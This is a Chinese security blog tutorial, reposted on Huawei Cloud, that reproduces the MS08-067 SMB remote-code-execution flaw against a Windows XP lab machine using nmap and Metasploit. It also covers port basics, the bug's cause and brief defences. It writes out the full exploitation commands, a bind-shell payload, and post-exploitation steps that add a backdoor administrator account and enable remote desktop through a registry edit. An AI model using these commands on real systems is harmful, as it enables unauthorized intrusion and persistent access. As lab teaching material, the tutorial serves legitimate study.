[系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御

eastmount 发表于 2021/11/10 19:44:35 2021/11/10
【摘要】 这篇文章将详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程,它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口,并通过Metasploit工具获取shell及进行深入防御的操作。希望对入门的同学有帮助。

系统安全系列是想更好地帮助初学者了解病毒逆向分析和系统安全,该专栏准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。前文介绍了Windows远程桌面服务漏洞(CVE-2019-0708),该高危漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击。这篇文章将详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程,它是Windows Server服务RPC请求缓冲区溢出漏洞,利用445端口,并通过Metasploit工具获取shell及进行深入防御的操作。希望对入门的同学有帮助。

话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好的地方,可以联系我修改。基础性文章,希望对您有所帮助,作者的目的是与安全人共同进步,加油!也强烈推荐大家去看看参考文献的视频和书籍。

作者的github资源:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.漏洞描述

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

  • Windows 2000
  • Windows XP
  • Windows Server 2003

漏洞原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server程序中的NEtPathCanonicalize函数时触发的。NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误(溢出),造成可被利用实施远程代码执行(Remote Code Execution)。后续部分我将分析该漏洞的CFG流程图及漏洞成因。

在这里插入图片描述

本文参考了很多大佬的文章,再次感谢他们。实验部分是结合自己的实践和经验讲解,如果存在错误或不足之处,也请批评和指正。



二.环境搭建

1.环境准备

  • 受害机:Windows XP SP1镜像
  • 攻击机:Kali系统

第一步,在虚拟机中安装Windows XP SP1系统和Kali系统。

在这里插入图片描述

第二步,虚拟机两个系统之间能够相互通信。

  • Kali:192.168.44.136
  • Win XP:192.168.44.135

在这里插入图片描述

在这里插入图片描述

第三步,打开Windows XP系统,确定445端口开启。如下图所示,在Win XP的CMD中输入“netstat -sn”查看端口445是否打开。

在这里插入图片描述

第四步,关闭Windows XP系统的防火墙。

在这里插入图片描述

做完这些初始准备之后,我们开始利用Kali系统进行漏洞复现。


2.端口详解

这里作者补充一些端口的基础知识,更有利于我们进行Web渗透实验。

(1) 端口作用
我们知道,一台拥有IP地址的主机可以提供许多服务,比如Web服务、FTP服务、SMTP服务等,这些服务完全可以通过1个IP地址来实现。那么,主机是怎么区分不同的网络服务呢?显然不能只靠IP地址,因为IP地址与网络服务的关系是一对多的关系,实际上是通过“IP地址+端口号”来区分不同的服务的。

需要注意的是,端口并不是一一对应的。比如你的电脑作为客户机访问一台WWW服务器时,WWW服务器使用“80”端口与你的电脑通信,但你的电脑则可能使用“3456”这样的端口。如下图所示:

在这里插入图片描述

(2) 端口的分类
端口共1-65535号,知名端口范围从0到1023,这些端口号一般固定分配给一些服务,大家尽量不要使用。比如21端口分配给FTP服务,25端号分配给SMTP邮件传输协议服务,80端口分配给HTTP服务,135端口分配给RPC远程过程调用服务等等。

动态端口的范围从1024到65535,这些端口号一般不固定分配给某个服务,也就是说许多服务都可以使用这些端口。只要运行的程序向系统提出访问网络的申请,那么系统就可以从这些端口号中分配一个供该程序使用。比如1024端口就是分配给第一个向系统发出申请的程序,在关闭程序进程后,就会释放所占用的端口号。注意,端口冲突就不能正常工作。

同时,动态端口号也常常被病毒木马程序所利用,如冰河默认连接端口号是7626、WAY 2.4连接端口号是8011、Netspy 3.0连接端口号是7306、YAI病毒连接端口号是1024等等。

(3) 常见的端口

端口号 含义
21 FTP文件传输协议代理服务器常用端口号
22 SSH安全登录、SCP文件传输、端口重定向端口号
23 Telnet远程登录协议代理服务器常用端口号
25 SMTP Simple Mail Transfer Protocol (E-mail) 端口号(木马Antigen、WinPC等开放该端口)
53 DNS域名解析服务端口号
80/8080 HTTP协议代理服务器常用端口号
110 POP3“邮局协议版本3”使用的端口号
443 HTTPS加密的超文本传输服务端口号
445 通过SMB(服务器信息块)协议,访问各种共享文件夹或共享打印机
1080 SOCKS代理协议服务器常用端口号
1433 MSSQL SERVER数据库默认端口号
1521 Oracle数据库服务端口号
1863 MSN Messenger的文件传输功能所使用的端口号
3306 MYSQL默认端口号
3389 Microsoft RDP微软远程桌面使用的端口号
5631 Symantec pcAnywhere远程控制数据传输时使用的端口号
5632 Symantec pcAnywhere 主控端扫描被控端时使用的端口号
4000/8000 腾讯QQ端口号

(4) 黑客通过端口可以干什么

  • 信息收集
  • 目标探测
  • 服务判断
  • 系统判断
  • 角色分析

(5) 445端口
谢公子大佬在 “135、137、138、139和445端口” 文章中介绍过这些端口,它们都是与文件共享和打印机共享有关的端口,而且在这几个端口上经常爆发很严重的漏洞。比如2017年危害全球的永恒之蓝,就是利用的445端口。

本篇文章的445端口就是利用SMB(Server Message Block)Windows协议族,用于文件共享、打印共享的服务。445端口是一个毁誉参半的端口,有了它我们可以在局域网中轻松访问各种共享文件夹或共享打印机,但也正是因为有了它,黑客们才有了可乘之机,他们能通过该端口偷偷共享你的硬盘,甚至会在悄无声息中将你的硬盘格式化掉!

总之,公开服务器打开139和445端口是一件非常危险的事情。 如果有Guest帐号,而且没有设置任何密码时,就能够被人通过因特网轻松地盗看文件。如果给该帐号设置了写入权限,甚至可以轻松地篡改文件。也就是说在对外部公开的服务器中不应该打开这些端口。通过因特网使用文件服务器就等同自杀行为,因此一定要关闭139和445端口。对于利用ADSL永久性接入因特网的客户端机器可以说也是如此。



三.利用Metasploit复现漏洞

  • 攻击机:Kali - 192.168.44.136
  • 受害机:Win XP - 192.168.44.135

第一步,利用Nmap工具扫描端口及确认该漏洞是否存在。

nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

nmap漏扫脚本目录为“/usr/share/nmap/script/”,如下图所示,扫描结果为VULNERABLE,表示MS0808-067漏洞存在且可以利用。

在这里插入图片描述

或者使用 “nmap -sV -Pn 192.168.44.135” 查看目标主机开放的端口。目标机开放了135、139、445、1025、5000端口,且目标机系统为Windows XP。作为黑客,一看到XP或2003系统的445端口开放,我们就能想到轰动一时的MS08-067。

nmap  -sV -Pn 192.168.44.135

在这里插入图片描述

第二步,进入Msfconsole并利用search语句查找漏洞利用模块。
终端内输入msfconsole打开metasploite命令行客户端,使用search命令查找ms08-067的漏洞利用模块。

msfconsole
search ms08-067

在这里插入图片描述


第三步,进入漏洞模块,并查看相关的使用说明。
使用use命令选择我们要使用的利用模块。target设置为系统默认是自动定位,如果需要精确定位,可以show targets查看所有,然后进行选择。

use exploit/windows/smb/ms08_067_netapi
show options
show targets

在这里插入图片描述

第四步,设置攻击机、受害机信息。

# 目标机ip
set RHOST 192.168.44.135
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.44.136
# 设置自动类型
set target 0
# 显示配置信息
show options

在这里插入图片描述

第五步,运行exploit反弹shell。
此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.44.135”。

exploit
session 1
ipconfig
pwd

在这里插入图片描述

注意:Windows XP SP1系统是中文而不是英文的,需要对ms08_067_netapi_ser2003_zh.rb处理。

第六步,在目标主机上创建文件夹及文件。

cd ..
# 创建文件夹
mkdir hacker
# 访问目录
dir
cd hacker
# 创建文件并写入内容
echo eastmount>test.txt
# 查看目标系统的基本信息
sysinfo

在这里插入图片描述

显示结果下图所示:

在这里插入图片描述

第七步,对目标XP主机进行深度提权。

# 增加普通用户
net user hacker 123456 /add 
# 提升管理员权限
net localgroup administrators hacker /add

Windows DOM用户常用命令如下:

  • net user abcd 1234 /add
    新建一个用户名为abcd,密码为1234的帐户,默认为user组成员
  • net user abcd /del
    将用户名为abcd的用户删除
  • net user abcd /active:no
    将用户名为abcd的用户禁用
  • net user abcd /active:yes
    激活用户名为abcd的用户
  • net user abcd
    查看用户名为abcd的用户的情况
  • net localgroup administrators abcd /add
    将abcd账户给予管理员权限

在这里插入图片描述

此时被攻击的主机新增“hacker”管理员如下图所示:

在这里插入图片描述

第八步,开启远程连接3389端口并进行远程操作。

# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.44.135

首先查看端口,发现目标主机Windows XP并未开启3389端口。

在这里插入图片描述

输入命令开启远程连接端口。

在这里插入图片描述

接着输入“rdesktop 192.168.44.135”连接远程IP地址,并输入我们创建好的hacker用户名及密码。

在这里插入图片描述

输入创建的用户名hacker和密码123456回车,弹出提示框点击OK,稍等就会成功远程登录XP系统。

在这里插入图片描述

最后,我们还需要将新建的用户名hacker删除。写到这里,整个实验就讲解完毕。



四.常见错误及漏洞原因分析

1.常见错误

我们在运行exploit执行漏洞利用模块时,有时会有相关错误。比如一直提示“exploit completed,but no session was created”或“ConnectionRefused the connection was refused by the remote host”。需要注意:

  • Windows XP系统关闭防火墙
  • 漏洞不稳定多尝试几次

在这里插入图片描述

有时XP系统会提示“Generic Host Process for win32 services”错误。这是svchost.exe错误,内存溢出造成。

在这里插入图片描述

在这里插入图片描述

最终作者解决了XP系统无法提权的问题,在调用“show payloads”设置攻击载荷时,当我采用“set payload generic/shell_reverse_tcp”就会报错,最后我将Payload修改为“set payload generic/shell_bind_tcp”。

  • 反弹shell失败:set payload generic/shell_reverse_tcp
  • 反弹shell成功:set payload generic/shell_bind_tcp

如果仍然失败,可能需要换其他XP或2003系统进行尝试。祝好运~

在这里插入图片描述


2.漏洞成因

如果想了解该漏洞的原理知识,推荐以下三篇文章,后续作者也需要深入去分析各种漏洞的原代码。

MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中发生了栈缓冲区内存错误,造成可被利用实施远程代码执行。

所谓路径规范化,就是将路径字符串中的【/】转换为【\】,同时去除相对路径【.\】和【..\】。如:
**/*/./**   =>  **\*\**
**\*\..\**  =>  **\**

在路径规范化的操作中,服务程序对路径字符串的地址空间检查存在逻辑漏洞。攻击者通过精心设计输入路径,可以在函数去除【…\】字符串时,把路径字符串中内容复制到路径串之前的地址空间中(低地址),达到覆盖函数返回地址,执行任意代码的目的。

这里通过IDA Pro打开c:\windows\system32\netapi32.dll,找到漏洞所在的NetpwPathCanonicalize函数并双击。通过观察其流程图CFG可知,此函数并没有直接进行输入路径和规范化,而是调用了下级函数CanonicalizePathName来进行路径整理,将待整理的路径字符串进行规范化,然后再保存到预先分配的输出路径缓冲区buffer中,最终造成缓冲区溢出漏洞。

在这里插入图片描述



五.总结

写到这里,这篇文章就介绍结束了,通过本次实验我们复现了MS08-067远程代码执行漏洞,涉及漏洞发现、验证漏洞、利用漏洞的完整过程,并利用Metasploit工具进行shell反弹及深入理解,希望对您有所帮助。如何进行防御呢?一方面关闭相关端口、安装杀毒软件和补丁,另一方面在防火墙中进行流量监测,主要是针对数据包中存在的形如"\ ** \ … \ … \ *"这样的恶意路径名进行检测,最为保险的方法是使用pcre正则去匹配。

本次实验的完整命令:

# 端口查询
nmap -n -p 445 --script smb-vuln-ms08-067 192.168.44.135 --open

# 查找漏洞利用模块
msfconsole
search ms08-067

# 漏洞利用
use exploit/windows/smb/ms08_067_netapi
show options
show targets

# 设置相关配置信息
set RHOST 192.168.44.135
set RPORT 445
set payload generic/shell_bind_tcp
set LHOST 192.168.44.136
set target 0
show options

# 反弹shell
exploit
session 1
ipconfig
pwd

# 目标主机文件操作
cd ..
mkdir hacker
dir
cd hacker
echo eastmount>test.txt
sysinfo

# 深度提权及远程连接操作
net user hacker 123456 /add 
net localgroup administrators hacker /add
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
netstat -an
rdesktop 192.168.44.135

真的感觉自己技术好菜,要学的知识好多。作为初学者,我们可能有差距,不论你之前是什么方向,是什么工作,是什么学历,是大学大专中专,亦或是高中初中,只要你喜欢安全,喜欢渗透,就朝着这个目标去努力吧!有差距不可怕,我们需要的是去缩小差距,去战斗,况且这个学习的历程真的很美,安全真的有意思。但切勿去做坏事,我们需要的是白帽子,是维护我们的网络,安全路上共勉。

感恩能与大家在华为云遇见!
希望能与大家一起在华为云社区共同成长,原文地址:https://blog.csdn.net/Eastmount/article/details/111341612

(By:娜璋之家 Eastmount 2021-11-11 夜于贵阳)


参考文献:

【版权声明】本文为华为云社区用户原创内容,未经允许不得转载,如需转载请发送邮件至:cloudbbs@huaweicloud.com;如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容。
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。